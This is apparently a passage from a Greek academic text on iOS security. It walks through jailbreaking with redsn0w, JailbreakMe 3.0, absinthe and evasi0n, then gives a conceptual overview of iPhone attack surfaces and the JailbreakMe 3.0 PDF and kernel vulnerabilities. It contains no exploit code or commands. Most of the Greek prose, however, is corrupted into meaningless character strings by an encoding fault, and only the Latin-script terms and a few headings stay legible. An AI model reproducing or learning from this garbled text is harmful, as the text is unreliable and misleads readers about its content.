δηαθνξεηηθφ firmware πνπ ηαηξηάδεη ζε απηήλ. Γηα παξάδεηγκα, ην firmware πνπ πξέπεη λα 

ρξεζηκνπνηεζεί γηα έλα iPhone 4 πνπ ηξέρεη iOS 5.0 είλαη δηαθνξεηηθφ κε ην αληίζηνηρν γηα 

iPod 4. 

Θα πξέπεη λα εληνπίζεηε ην θαηάιιειν firmware γηα ην ζπγθεθξηκέλν κνληέιν ζπζθεπήο. Σα 

δηάθνξα firmware βξίζθνληαη ζηνπο servers ηεο Apple θαη κπνξνχλ ζπλήζσο λα εληνπηζηνχλ 

κέζσ κηαο απιήο αλαδήηεζεο ζην Google. Γηα παξάδεηγκα, αλ αλαδεηήζνπκε ζην Google  

γηα ην «iPhone 4 firmware 4.3.3», εκπεξηέρεη έλαλ ζχλδεζκν γηα ηελ αθφινπζε ηνπνζεζία 

download: 

appldnld.apple.com/iPhone4/041-1011.20110503.q7fGc/iPhone3,1_4.3.3_8J2_Restore.ipsw 

Απηφ είλαη ην IPSW πνπ ρξεηάδεηαη γηα λα επηηχρνπκε jailbreak ζε κία ζπζθεπή iPhone 4 κε 

έθδνζε iOS 4.3.3. 

 

2. Απνθηήζηε ην ινγηζκηθφ jailbreak πνπ πξφθεηηαη λα 

ρξεζηκνπνηήζεηε. Τπάξρνπλ αξθεηέο δηαζέζηκεο επηινγέο. 

Μεξηθέο απφ ηηο πην γλσζηέο εθαξκνγέο γηα απηφλ ηνλ ζθνπφ 

είλαη νη Redsn0w, greenpois0n θαη limera1n. 

Δκείο ζα ρξεζηκνπνηήζνπκε ην Redsn0w, ην νπνίν κπνξείηε λα 

βξείηε ζηελ ηνπνζεζία: 

Blog.iphone-dev.org/ 

3. πλδέζηε κέζσ θαισδίνπ USB ηελ ζπζθεπή ζε έλαλ 

ππνινγηζηή πνπ έρεη ην ινγηζκηθφ jailbreak. 

4. Δθηειέζηε ηελ εθαξκνγή jailbreak, παηψληαο ην θνπκπί 

Jailbreak, φπσο θαίλεηαη ζην ζρήκα 3-1. 

5. Μέζσ ηνπ UI ηεο εθαξκνγήο, επηιέμηε ην IPSW πνπ 

θαηεβάζαηε πξνεγνπκέλσο, φπσο θαίλεηαη ζην ζρήκα 3-2. ηελ ζπλέρεηα, ην ινγηζκηθφ 

jailbreak πξνζαξκφδεη ην IPSW κε κία δηαδηθαζία πνπ ελδέρεηαη λα θξαηήζεη κεξηθά 

δεπηεξφιεπηα. 

 

6. Γπξίζηε ηελ ζπζθεπή ζε θαηάζηαζε Δλεκέξσζεο Firmware πζθεπήο (DFU). Γηα λα ην 

επηηχρεηε απηφ, απελεξγνπνηήζηε ηελ ζπζθεπή. Όζηεξα, πηέζηε θαη θξαηήζηε ηαπηφρξνλα ηα 

θνπκπηά Power θαη Home γηα 10 δεπηεξφιεπηα. ην 10
ν
 δεπηεξφιεπην, ειεπζεξψζηε ην 

θνπκπί Power, ζπλερίζηε φκσο λα θξαηάηε παηεκέλν ην θνπκπί Home γηα πεξίπνπ 5-10 

δεπηεξφιεπηα αθφκα, κε ην πέξαο ησλ νπνίσλ ειεπζεξψζηε ην. Ζ νζφλε ηεο ζπζθεπήο δελ 

είλαη ελεξγνπνηεκέλε φηαλ βξίζθεηαη ζε θαηάζηαζε DFU, ζπλεπψο είλαη ζρεηηθά δχζθνιν λα 

ζπκπεξάλεηε αλ ε ζπζθεπή έρεη κεηαβεί ζηελ θαηάζηαζε DFU. Δπηπρψο, εθαξκνγέο 

jailbreak φπσο ην Redsn0w πεξηιακβάλνπλ κία νζφλε γηα ηελ θαζνδήγεζε ηνπ ρξήζηε θαηά 

ηελ φιε δηαδηθαζία. πσο θαίλεηαη ζην ζρήκα 3-3, ε εθαξκνγή ελεκεξψλεη ηνλ ρξήζηε θαηά 

ηελ επηηπρεκέλε κεηάβαζε ζε θαηάζηαζε DFU. 

Αλ αληηκεησπίδεηε δπζθνιίεο θαηά ηελ δηαδηθαζία, αλαδεηήζηε βνήζεηα ζην Youtube. 

Εηθόλα 41 Αξρηθή Οζόλε ηνπ redsn0w 
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Τπάξρεη πιεζψξα βίληεν πνπ ζα ζαο θαζνδεγήζνπλ. 

 

 

 

 

 

 

 

 

 

 

 

 

 

7. ηαλ γίλεη ε κεηάβαζε ζε θαηάζηαζε DFU, ην ινγηζκηθφ 

jailbreak μεθηλά απηνκάησο ηελ δηαδηθαζία jailbreak. ε απηφ 

ην ζεκείν, απιά πεξηκέλεηε λα νινθιεξσζεί ε δηαδηθαζία. 

Σππηθά, ε δηαδηθαζία πεξηιακβάλεη ηελ θφξησζε ηνπ firmware 

ζηελ ζπζθεπή, κεξηθέο ελδηαθέξνπζεο εηθφλεο ζηελ νζφλε ηεο 

ζπζθεπήο, αθνινπζνχκελεο απφ κία επαλεθθίλεζε. Έπεηηα, ε 

ζπζθεπή ζα πξέπεη λα εθθηλήζεη φπσο έλα θνηλφ iPhone, κε 

κία φκσο εληππσζηαθή, λέα πξνζζήθε ζην «desktop», ην 

Cydia. Σν Cydia θαίλεηαη ζην ζρήκα 3-4.  

 

 

 

 

 

 

 

 

 

Απομακρυςμένο Jailbreak 
 

Σν jailbreak θαηά ηελ εθθίλεζε ηεο ζπζθεπήο απνηειεί ζεκειηψδεο βήκα γηα ηελ απφθηεζε 

πιήξνπο πξφζβαζεο ζηελ ζπζθεπή. κσο, νη ηερληθέο απαηηήζεηο αλεβάδνπλ ηνλ πήρε γηα 

ηνλ ρξήζηε πνπ πξνζπαζεί λα πεηχρεη ην jailbreak. Ο ρξήζηεο πξέπεη λα ςάμεη θαη λα βξεη ην 

θαηάιιειν firmware, λα ην παξαρσξήζεη ζηελ εθαξκνγή jailbreak θαη λα θέξεη ηελ ζπζθεπή 

ηνπ ζε θαηάζηαζε DFU. ια απηά κπνξνχλ λα παξνπζηάζνπλ αξθεηέο δπζθνιίεο ζηνλ 

ιηγφηεξν έκπεηξν ρξήζηε. Φπζηθά, γηα ηνπο πην έκπεηξνπο απηφ δελ απνηειεί κεγάιν 

εκπφδην, αλ θαη ίζσο είλαη πην ρξνλνβφξν απφ ην Απνκαθξπζκέλν Jailbreak. ηελ πεξίπησζε 

ηνπ ηειεπηαίνπ, φπσο απηφ παξέρεηαη απφ ηελ ζειίδα jailbreakme.com, ε δηαδηθαζία είλαη 

ηφζν απιή πνπ ην κφλν πνπ απαηηεί είλαη ε θφξησζε ελφο εηδηθνχ αξρείνπ PDF ζηνλ Safari 

browser ηνπ iPhone. Σν ηξνπνπνηεκέλν αξρείν PDF αλαιακβάλεη λα εθκεηαιιεπηεί θαη λα 

πάξεη ηνλ έιεγρν ηνπ browser θαη ζηελ ζπλέρεηα ηνπ ιεηηνπξγηθνχ ζπζηήκαηνο, δίλνληαο 

ηειηθά ζηνλ ρξήζηε απεξηφξηζηε πξφζβαζε ζηε ζπζθεπή. 

Εηθόλα 42 Επηιέγνληαο ην IPSW ζην Resn0w 

Εηθόλα 43 Σν Cydia ζηελ αξρηθή 

νζόλε 
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Σνλ Ηνχιην ηνπ 2011, ν hacker ηνπ iOS κε ηελ νλνκαζία 

Nicholas Allegra (γλσζηφο θαη σο comex), 

θπθινθφξεζε ηελ έθδνζε 3.0 κίαο ηερληθήο 

απνκαθξπζκέλνπ jailbreak γηα εθδφζεηο iOS κέρξη θαη 

ηελ 4.3.3, κέζσ ηεο ηζηνζειίδαο jailbreakme.com. Ζ 

ζπγθεθξηκέλε ηερληθή νλνκάζηεθε «JailbreakMe 3.0» ή 

JBME3.0 γηα ζπληνκία. Ζ δηαδηθαζία jailbreak 

ρξεζηκνπνηψληαο απηήλ ηελ ηερληθή, απαηηεί κφλν ηελ 

θφξησζε ζηελ θεληξηθή ηζηνζειίδα κέζσ ηνπ Safari, 

φπσο θαίλεηαη ζην ζρήκα 3-5. Με έλα απιφ πάηεκα ηνπ 

θνπκπηνχ “Install” ηεο θεληξηθήο ζειίδαο, ε ζπζθεπή 

γίλεηαη jailbroken. 

 

corona/absinthe 

 

Δίλαη παλεχθνιν λα πεηχρνπκε Jailbreak ζε ζπζθεπή iOS 5.x κε ην εξγαιείν corona/absinthe. 

Ζ κφλε απαίηεζε είλαη λα έρνπκε κία ηέηαξηεο γεληάο ζπζθεπή φπσο έλα iPhone 4, iPod 4G 

ή iPad 1, ή αθφκα έλα iPhone 4S, iPad 2 ή iPad 3 πνπ ηξέρεη έθδνζε iOS 5.1.1. Πνιχ απιά 

ζπλδένπκε ηελ ζπζθεπή κε ηνλ ππνινγηζηή, εθηεινχκε ηελ εθαξκνγή Absinthe, παηάκε ην 

θνπκπί Jailbreak θαη πεξηκέλνπκε φπσο θαίλεηαη ζην ζρήκα 3-6! 

 

 
Εηθόλα 45 Από ηα αξηζηεξά πξνο ηα δεμηά, ε αξρηθή νζόλε ηνπ Absinthe, θαηά ηελ νινθιήξσζε, κε ηελ πξνζζήθε 

ηνπ Cydia ζηελ θεληξηθή νζόλε 

 

evasi0n 
 

Σν evasi0n jailbreak θπθινθφξεζε ζηηο αξρέο ηνπ 2013. 

Όζηεξα απφ έλαλ νιφθιεξν ζρεδφλ ρξφλν, ην evasi0n καο 

έδσζε ηελ δπλαηφηεηα λα πεηχρνπκε jailbreak ζε ζπζθεπέο 

πνπ ηξέρνπλ έθδνζε iOS 6.x, ζπζθεπέο φπσο ην iPhone 5, 

iPod 5, iPad 4 θαη iPad mini. Ζ ρξήζε ηνπ evasi0n είλαη 

παλνκνηφηππε κε άιια εξγαιεία jailbreak.  

       

Εηθόλα 44 Η εθαξκνγή JailbreakMe 3.0 

Εηθόλα 46 Η δηεπαθή ηεο εθαξκνγήο 

evasi0n 
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πλδέζηε ηελ ζπζθεπή ζαο, μεθηλήζηε ηελ δηαδηθαζία jailbreak θαη πεξηκέλεηε λα 

νινθιεξσζεί. Μία κηθξή δηαθνξά εληνπίδεηαη πεξίπνπ ζηα δχν ηξίηα ηεο δηαδηθαζίαο, φπνπ 

πξέπεη λα μεθιεηδψζεηε ηελ νζφλε ηεο ζπζθεπήο θαη λα παηήζεηε κία θνξά ζε έλα εηθνλίδην 

γηα λα νινθιεξσζεί ην jailbreak. 

Μπνξείηε λα δείηε ηελ δηεπαθή ηεο εθαξκνγήο evasi0n ζην ζρήκα 3-7. Γηα λα μεθηλήζεηε, 

αξθεί κφλν λα θάλεηε θιηθ ζην θνπκπί Jailbreak. 

ην ζρήκα 3-8, ν ρξήζηεο θαιείηαη λα μεθιεηδψζεη 

ηελ ζπζθεπή ηνπ θαη λα παηήζεη ην εηθνλίδην 

Jailbreak.  

Σν ζρήκα 3-9 δείρλεη ην εηθνλίδην πνπ πξέπεη λα 

παηήζεηε. Μφιηο έλα πάηεκα είλαη ην κφλν πνπ 

απαηηείηαη γηα λα ζπλερηζηεί ε δηαδηθαζία jailbreak. 

Σέινο, ην ζρήκα 3-10 δείρλεη ηελ δηεπαθή ηεο 

εθαξκνγήο evasi0n, ε νπνία καο ελεκεξψλεη φηη ε 

δηαδηθαζία jailbreak ήηαλ επηηπρήο. ε απηφ ην 

ζεκείν, κπνξείηε λα μεθιεηδψζεηε ηελ ζπζθεπήο 

ζαο θαη λα δείηε ην εηθνλίδην Cydia. 

 

 

 

 

 

 

 

 

 

 

 

                      

  

Εηθόλα 47 Η εθαξκνγή evasi0n δεηά από ηνλ 

ρξήζηε λα παηήζεη ην εηθνλίδην Jailbreak 

Εηθόλα 49 Σν εηθνλίδην 

Jailbreak 

Εηθόλα 48 Η ζπζθεπή ηνπ ρξήζηε είλαη πιένλ 

jailbroken! 
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4.2 Hacking ςτο iPHONE 
 

ην θεθάιαην απηφ ζα εμεηάζνπκε ηηο δπλαηφηεηεο hacking ζπζθεπψλ iPhone άιισλ. Θα 

εμεηάζνπκε κηα πνηθηιία πεξηζηαηηθψλ, θαζψο θαη ζέκαηα πνπ ζρεηίδνληαη κε ηελ πξφζβαζε 

ζε ζπζθεπέο πνπ ηξέρνπλ iOS.  

Οη δηαζέζηκεο επηινγέο γηα ηε δηεμαγσγή κηα επηηπρεκέλεο επίζεζεο είλαη πεξηνξηζκέλεο ζε 

ζρέζε κε άιιεο πιαηθφξκεο. Σν iOS έρεη έλα ειάρηζην πξνθίι δηθηχνπ, θαζηζηψληαο ηηο 

απνκαθξπζκέλεο επηζέζεηο κέζσ δηθηχνπ, πξαθηηθά αλεθάξκνζηεο.  

πζθεπέο ζηηο νπνίεο έρνπκε θάλεη jailbreak, φηαλ νη ξπζκίζεηο ησλ ππεξεζηψλ δηθηχνπ είλαη 

εζθαικέλεο ή παιαηφηεξεο, αληηκεησπίδνπλ θάπνηνπο θίλδπλνπο φηαλ είλαη ζπλδεδεκέλεο κε 

ην δίθηπν. Χζηφζν, νη jailbroken ζπζθεπέο απνηεινχλ έλα ζρεηηθά κηθξφ πνζνζηφ ηνπ 

ζπλνιηθνχ αξηζκνχ ησλ ζπζθεπψλ ζε απεπζείαο ζχλδεζε, θαη ε χπαξμε απηψλ ησλ 

ππεξεζηψλ δελ κπνξεί λα ζεσξεζεί σο κηα γεληθεπκέλε κέζνδνο επίζεζεο.  

Σν iOS έρεη αθνινπζήζεη, θαηά θάπνην ηξφπν, ηελ εμέιημε ησλ ιεηηνπξγηθψλ ζπζηεκάησλ 

client φπσο ηα Windows, πνπ απφ πξνεπηινγή απελεξγνπνηνχλ ηελ πξφζβαζε ζηηο 

πεξηζζφηεξεο ή θαη φιεο ηηο ππεξεζίεο δηθηχνπ. Μηα ζεκαληηθή δηαθνξά είλαη φηη, ζε 

αληίζεζε κε ηα Windows, νη ππεξεζίεο δηθηχνπ, δελ επαλεξγνπνηνχληαη αξγφηεξα γηα ιφγνπο 

δηαιεηηνπξγηθφηεηαο κε αληαιιαγή αξρείσλ ή άιιεο ππεξεζίεο. Απηφ ζεκαίλεη φηη, γηα φιεο 

ηηο πξνζέζεηο θαη ηνπο ζθνπνχο, ε πξνζπάζεηα απνκαθξπζκέλεο πξφζβαζεο ζην iOS κέζσ 

δηθηχνπ είλαη δχζθνιε. 

 

Φπζηθά, έλαο εηζβνιέαο έρεη άιιεο δηαζέζηκεο επηινγέο, εθηφο απφ ηελ παξαδνζηαθή ησλ 

απνκαθξπζκέλσλ επηζέζεσλ κέζσ δηθηχνπ. Οη πεξηζζφηεξεο απφ απηέο ηηο επηινγέο 

ζπλδένληαη κε ηελ εθκεηάιιεπζε client-side ηξσηψλ ζεκείσλ πξφζβαζεο ζην ηνπηθφ δίθηπν 

ή θπζηθή πξφζβαζε ζηε ζπζθεπή. Ζ δπλαηφηεηα επηηπρίαο κηαο επίζεζεο πνπ βαζίδεηαη ζηελ 

πξφζβαζε ζην ηνπηθφ δίθηπν ή ηε θπζηθή πξφζβαζε εμαξηάηαη ζε κεγάιν βαζκφ απφ ηνλ 

ζπγθεθξηκέλν ζηφρν. Δπηζέζεηο κέζσ ηνπηθνχ δηθηχνπ έρνπλ ρξεζηκφηεηα εάλ ν ζηφρνο είλαη 

απιά ν επεξεαζκφο θάπνηνπ επάισηνπ ζπζηήκαηνο ζπλδεδεκέλνπ κε ην ηνπηθφ δίθηπν. 

Λεηηνπξγψληαο έλα θαθφβνπιν WAP (wireless access point) ζε έλα αεξνδξφκην, θαθεηέξηα, 

ή νπνηνδήπνηε άιιν ζεκείν κε κεγάιν αξηζκφ επηζθεπηψλ, φπνπ ζπρλά ρξεζηκνπνηείηαη 

πξφζβαζε WiFi είλαη έλαο ηξφπνο γηα λα μεθηλήζεη κηα επίζεζε απηνχ ηνπ είδνπο.  

Αλ ν ζηφρνο είλαη έλαο ζπγθεθξηκέλνο ρξήζηεο ή εηαηξία- νξγαληζκφο, ηφηε ν επηηηζέκελνο ζα 

πξέπεη πξψηα λα απνθηήζεη απνκαθξπζκέλε πξφζβαζε ζην ηνπηθφ δίθηπν κε ην νπνίν είλαη 

ζπλδεδεκέλε ε ζπζθεπή ζηφρνο ή, ελαιιαθηηθά, λα είλαη ζε θπζηθή εγγχηεηα κε ην ρξήζηε-

ζηφρν, πξνθεηκέλνπ λα γίλεη ζχλδεζε κε έλαλ θνηλφρξεζην, ρσξίο αζθάιεηα αζχξκαην 

δίθηπν, ή δηαθνξεηηθά λα δειεαζηεί ν ρξήζηεο λα ζπλδεζεί κε έλα θαθφβνπιν WAP. ε απηέο 

ηηο πεξηπηψζεηο, ηα εκπφδηα εηζφδνπ είλαη πςειά θαη ε πηζαλφηεηα επηηπρίαο κεησκέλε, δηφηη 

θαη ε πξφζβαζε ζε έλα ζπγθεθξηκέλν ηνπηθφ δίθηπν θαη ν δειεαζκφο ελφο ρξήζηε-ζηφρνπ 

κέζσ ελφο ζπγθεθξηκέλνπ αζχξκαηνπ δίθηπν είλαη πνιχπινθεο δηαδηθαζίεο. 

Έλαο εηζβνιέαο κε θπζηθή πξφζβαζε ζε κηα ζπζθεπή έρεη έλα επξχηεξν ζχλνιν δηαζέζηκσλ 

επηινγψλ. Με ηελ δπλαηφηεηα λα εθηειέζεη κηα jailbreak εθθίλεζε (εθηθηφ ζε νξηζκέλα 

κνληέια iPhone), απνθηά πξφζβαζε ζην ζχζηεκα αξρείσλ θαη εμαπνιχεη επηζέζεηο θαηά ηνπ 

keychain, θαζψο θαη άιισλ πξνζηαηεπηηθψλ κεραληζκψλ. Με ηνλ ηξφπν απηφ ε πηζαλφηεηα 

ηεο επηηπρνχο άληιεζεο πιεξνθνξηψλ απφ κηα ζπζθεπή γίλεηαη κεγαιχηεξε. Χζηφζν, ε 

θπζηθή πξφζβαζε ζηε ζπζθεπή πξνυπνζέηεη θινπή ή θάπνηνπ είδνπο απψιεηα. Οη θπζηθέο 

επηζέζεηο ζε κηα ζπζθεπή πξέπεη λα εμεηάδνληαη ζνβαξά, κε δεδνκέλν φηη κία ζπζθεπή 

(πηζαλψο θαη ε δηθή καο) ζα κπνξνχζε εχθνια λα ραζεί ή θιαπεί. Γελ ππάξρεη φκσο ε 
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πξννπηηθή ηεο αλάπηπμεο ελφο ζπλφινπ εξγαιείσλ θαη κεζνδνινγηψλ γηα ηελ πεηξαηεία ζε 

iOS πνπ βαζίδνληαη ζηε θπζηθή πξφζβαζε ζε ζπζθεπέο. 

 

ηελ πξάμε νη επηινγέο πνπ έρεη έλαο εηζβνιέαο είλαη γεληθά νη client-side επηζέζεηο. Οη 

client-side επηζέζεηο έρνπλ βξεζεί πνιιέο θνξέο ζε εθαξκνγέο ζπλδπαζκέλεο κε ην iOS , 

ηδίσο, ζην Safari Browser.  

Με ηε ιίζηα ησλ γλσζηψλ αδπλακηψλ πνπ επεξεάδνπλ απηέο ηηο εθαξκνγέο θαη άιια 

ζηνηρεία, έλαο εηζβνιέαο έρεη κηα πνηθηιία απφ επηινγέο ζηε δηάζεζή ηνπ θαηά ηελ ζηφρεπζε 

γηα ηελ επίζεζε ζε iPhones. 

Ζ έθδνζε ηνπ iOS πνπ ηξέρεη ζε κηα ζπζθεπή παίδεη ζεκαληηθφ ξφιν, θαζψο ζρεηίδεηαη κε 

ηελ επθνιία κε ηελ νπνία κία ζπζθεπή κπνξεί λα γίλεη πξνζβάζηκε ζηνλ επηηηζέκελν. ε 

γεληθέο γξακκέο, φζν παιαηφηεξε είλαη ε έθδνζε ηνπ iOS, ηφζν πην εχθνιν είλαη λα 

απνθηήζεη ν επηηηζέκελνο πξφζβαζε. 

ζνλ αθνξά ηελ εμαπφιπζε επηζέζεσλ, νη δηαζέζηκεο κέζνδνη είλαη παξφκνηεο κε εθείλεο γηα 

ηα ιεηηνπξγηθά ζπζηήκαηα ησλ νηθηαθψλ ππνινγηζηψλ, ζπκπεξηιακβαλνκέλεο ηεο 

θηινμελίαο θαθφβνπισλ αξρείσλ ζε web servers ή κέζσ ηνπ ειεθηξνληθνχ ηαρπδξνκείνπ. 

Οη επηζέζεηο δελ πεξηνξίδνληαη ζε εθαξκνγέο πνπ παξέρνληαη κε ην iOS, αιιά επίζεο θαη ζε 

εθαξκνγέο ηξίησλ. Με ηνλ ζπλερψο απμαλφκελν αξηζκφ ησλ εθαξκνγψλ πνπ δηαηίζεληαη 

κέζσ ηνπ App Store, θαζψο θαη κέζσ ελαιιαθηηθψλ αγνξψλ, φπσο ην Cydia store, είλαη 

ινγηθφ λα ππνζέζνπκε φηη ε ηξσηφηεηα θάπνησλ εθαξκνγψλ θαη νη client-side επηζέζεηο, ζα 

ζπλερίζνπλ λα είλαη νη πξσηεχνληεο θνξείο γηα ηελ αξρηθή πξφζβαζε ζε ζπζθεπέο iOS.  

Δθκεηαιιεπφκελνο ηε δπλαηφηεηα αξρηθήο πξφζβαζεο ζην iOS, κέζσ ησλ ηξσηψλ 

εθαξκνγψλ, έλαο εηζβνιέαο κπνξεί λα πξαγκαηνπνηήζεη, επίζεζε θαη λα απνθηήζεη 

πξφζβαζε ζε πιεξνθνξίεο πνπ ππάξρνπλ ζην sandbox ησλ εθαξκνγψλ.  

Δάλ έλαο εηζβνιέαο ζέιεη λα απνθηήζεη ηνλ πιήξε έιεγρν κηαο ζπζθεπήο, ηφηε ην εκπφδην 

εηζφδνπ θαη ε δπζθνιία απμάλνληαη ζεκαληηθά. Σν πξψην βήκα ζε απηή ηε δηαδηθαζία, αθνχ 

απέθηεζε ηνλ έιεγρν κηαο εθαξκνγήο, είλαη λα μεθχγεη απφ ην sandbox, αμηνπνηψληαο κηα 

εππάζεηα ζε επίπεδν kernel. Με δεδνκέλν φηη ηα ηξσηά ζεκεία ζε επίπεδν kernel είλαη ιίγα 

θαη ην επίπεδν δεμηνηήησλ πνπ απαηηνχληαη γηα ηελ αμηνπνίεζε ηνπο είλαη πνιχ απμεκέλν, 

πνιχ ιίγνη είλαη ζε ζέζε λα μεθχγνπλ απφ ην sandbox θαη λα παξέκβνπλ ζηνλ ππξήλα. ηελ 

πξάμε ην δήηεκα είλαη αξθεηά πην δχζθνιν απφ φηη ζηε ζεσξία. 

Ηδηαίηεξα ζηελ πεξίπησζε πνπ ζηφρνο είλαη ζπζθεπή κε iOS 6, κε δεδνκέλν φηη ζε απηή ηελ 

έθδνζε ηνπ ιεηηνπξγηθνχ ζπζηήκαηνο έρεη εθαξκνζηεί ASLR ζην επίπεδν ηνπ ππξήλα, απηφ 

θαζηζηά αθφκε πην δχζθνιν λα είλαη επηηπρήο κηα επίζεζε ζηνλ ππξήλα. 

Γηα ηνπο πεξηζζφηεξνπο εηζβνιείο, ε ζπλήζεο θαη εθηθηή πξνζέγγηζε είλαη απιά λα 

πεξηκέλνπλ λα εκθαληζηεί θάπνηνο λένο ηξφπνο πξνζβνιήο θαη λα δξάζνπλ ζην ρξνληθφ 

δηάζηεκα κέρξη ηελ έθδνζε ελεκέξσζεο ηνπ ινγηζκηθνχ πνπ ζα δηνξζψλεη ηελ εππάζεηα 

απηή ή λα ζηνρεχνπλ ρξήζηεο πνπ ηξέρνπλ παιαηφηεξεο εθδφζεηο ηνπ iOS. 

Χο ηειηθή παξαηήξεζε πξηλ δνχκε κεξηθά ζπγθεθξηκέλα παξαδείγκαηα πξνζβνιήο , αμίδεη 

λα ζεκεησζεί φηη ζε ζχγθξηζε κε άιιεο πιαηθφξκεο, ιίγα ζρεηηθά εξγαιεία ππάξρνπλ εηδηθά 

γηα λα απνθηήζεη θάπνηνο κε εμνπζηνδνηεκέλε πξφζβαζε ζε iOS. Ζ πιεηνςεθία ησλ 

εξγαιείσλ πνπ δηαηίζεληαη αθνξά ην jailbreaking ηνπ iOS ην νπνίν είλαη κηα επηηξεπηή 

δξαζηεξηφηεηα, κε ηελ πξνυπφζεζε φηη γίλεηαη κε ηελ ζπλαίλεζε ηνπ ηδηνθηήηε ηεο 

ζπζθεπήο.  

Πνιιά απφ απηά ηα εξγαιεία κπνξνχλ λα εμππεξεηήζνπλ δηηηφ ζθνπφ. Γηα παξάδεηγκα , ην 

jailbreak θαηά ηελ εθθίλεζε, κπνξεί λα ρξεζηκνπνηεζεί γηα λα απνθηήζεη πξφζβαζε ζε κηα 
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ζπζθεπή έλαο εηζβνιέαο φηαλ ηελ έρεη ζηελ θαηνρή ηνπ. Δπίζεο νη δηαδηθαζίεο jailbreaking 

πνπ πεξηγξάθνληαη ζην site jailbreakme.com ή αιινχ κπνξνχλ απφ θάπνην θαθφβνπιν λα 

ηξνπνπνηεζνχλ θαηάιιεια ψζηε λα απνθηήζεη πξφζβαζε ζε ζπζθεπέο πνπ είλαη 

ζπλδεδεκέλεο ζε δίθηπν. Δίλαη ζχλεζεο νη hackers λα επαλαπξνζδηνξίδνπλ ηα πθηζηάκελα 

εξγαιεία ψζηε λα γίλνπλ θαηάιιεια γηα θαθφβνπιεο επηζέζεηο απφ ην λα επελδχζνπλ πνιχ 

ρξφλν, πξνζπάζεηα, θαη γλψζε γηα ηελ αλάπηπμε λέσλ ηερληθψλ θαη εξγαιείσλ απφ ην κεδέλ.  

 

Το κενό αςφαλείασ του JailbreakMe3. 
 

Οη πην δεκνθηιείο επηζέζεηο ζε iOS κέρξη ζήκεξα βαζίδνληαη ζηελ χπαξμε ηξσηψλ ζεκείσλ 

ζε iPhone ζηα νπνία έρεη γίλεη jailbreak. 

πλήζσο βέβαηα ε πξνζβνιή γίλεηαη "ηνπηθά" θαηά ηε δηαδηθαζία jailbreak, νη εηζβνιείο 

φκσο κπνξνχλ λα αμηνπνηήζνπλ ηηο εππάζεηεο θαη εμ απνζηάζεσο, γηα παξάδεηγκα, κε ηελ 

δεκηνπξγία ελφο θαθφβνπινπ εγγξάθνπ πνπ ζα έρεη ηε δπλαηφηεηα λα αλαιάβεη ηνλ έιεγρν 

ηεο εθαξκνγήο ζην νπνίν είλαη θνξησκέλν.  

Σν έγγξαθν κπνξεί ζηε ζπλέρεηα λα δηαλέκεηαη ζηνπο ρξήζηεο κέζσ κηαο ηζηνζειίδαο, ελφο 

e-mail, chat, ή θάπνηνπ άιινπ κέζνπ πνπ ρξεζηκνπνηείηαη ζπρλά. ηνλ θφζκν ησλ PC, απηή 

ε κέζνδνο επίζεζεο έρεη ρξεζηκνπνηεζεί γηα κηα ζεηξά θαθφβνπισλ παξεκβάζεσλ ηα 

ηειεπηαία ρξφληα. Σν iOS, παξά ην γεγνλφο φηη είλαη αξθεηά αζθαιέο απφ απνκαθξπζκέλεο 

επηζέζεηο κέζσ δηθηχνπ θαη παξά ην φηη επαίξεηαη γηα πξνεγκέλε αξρηηεθηνληθή αζθάιεηαο, 

έρεη δείμεη θάπνηα αδπλακία ζηελ αληηκεηψπηζε απηνχ ηνπ είδνπο ησλ επηζέζεσλ. 

Ζ βάζε γηα κηα ηέηνηα επίζεζε εκθαλίδεηαη θαζαξά απφ ην JailbreakMe 3.0 (ή JBME3.0).Σν 

JBME3.0 εθκεηαιιεχεηαη δχν ηξσηά ζεκεία: ην πξψην έλα PDF bug, θαη ην δεχηεξν έλα bug 

ηνπ ππξήλα.  

Δλεκεξσηηθφ δειηίν αζθαιείαο ηεο Apple γηα ην iOS 4.3.4 ( support.apple.com/kb/HT4802 ) 

καο δίλεη ιίγν πεξηζζφηεξεο ιεπηνκέξεηεο ζρεηηθά κε ηηο δχν εππάζεηεο. Ζ πξψηε 

πεξηγξάθεηαη σο FreeType Type 1 Font bug, πνπ κπνξεί λα νδεγήζεη ζε εθηέιεζε 

απζαίξεηνπ θψδηθα (CVE-2011-0226). Μηα εηδηθά δεκηνπξγεκέλε γξακκαηνζεηξά ηχπνπ 1 

πνπ πεξηιακβάλεηαη ζε έλα αξρείν PDF απνηειεί ην θνξέα πνπ νδεγεί ζηελ απζαίξεηε 

εθηέιεζε θψδηθα Ζ δεχηεξε εππάζεηα, (CVE-2011-0227), πεξηγξάθεηαη σο έλα bug κε 

έγθπξεο κεηαηξνπήο ηχπνπ πνπ επεξεάδεη ην IOMobileFrameBuffer πνπ ζα κπνξνχζε λα 

νδεγήζεη ζηελ εθηέιεζε απζαίξεηνπ θψδηθα κε δηθαηψκαηα ζε επίπεδν ζπζηήκαηνο. 

Ο αξρηθφο θνξέαο ηεο επίζεζεο είλαη ε θφξησζε ελφο εηδηθά δεκηνπξγεκέλνπ PDF ζηνλ 

Safari. ε απηφ ην ζεκείν, κηα εππάζεηα ελεξγνπνηείηαη ζηνλ θψδηθα, ππεχζπλν γηα ηελ 

αλάιπζε ηνπ εγγξάθνπ. Έπεηηα ην ινγηζκηθφ πνπ έρεη πεξηιεθζεί ζην «πεηξαγκέλν» PDF 

είλαη ζε ζέζε λα αλαιάβεη ηνλ έιεγρν ηεο εθαξκνγήο. ηε ζπλέρεηα ε εθκεηάιιεπζε 

ζπλερίδεη ζε επίπεδν ππξήλα θαη, ηειηθά γίλεηαη αλάιεςε ηνπ πιήξνπο έιεγρνπ ηεο 

ζπζθεπήο. 

Γηα ηνλ απιφ ρξήζηε πνπ πξνρσξά ζε jailbreak ηνπ iPhone ηνπ, ηα παξαπάλσ δελ απνηεινχλ 

ζεκαληηθφ δήηεκα. Χζηφζν, γηα ηνπο εηδηθνχο αζθαιείαο ην ζέκα είλαη φηη, εάλ ε ηερληθή 

JBME3.0 κπνξεί, αμηνπνηψληαο έλα δεπγάξη ηξσηψλ ζεκείσλ, λα αλαιάβεη ηνλ πιήξε έιεγρν 

ηεο ζπζθεπήο, κηα παξφκνηα ηερληθή κπνξεί λα ρξεζηκνπνηεζεί γηα θαθφβνπινπο ζθνπνχο. 

Ζ Apple θπθινθφξεζε, ηνλ Ηνχιην ηνπ 2011, ην iOS 4.3.4 πνπ αληηκεησπίδεη ηα ζέκαηα 

ηξσηφηεηαο απφ JBME3.0. Οη πεξηζζφηεξεο ζπζθεπέο δελ ηξέρνπλ πιένλ εππαζείο εθδφζεηο 

ηνπ iOS (4.3.3 θαη θάησ) θαη δελ είλαη εππαζείο ζε απηφ ην θνξέα ηεο επίζεζεο. 
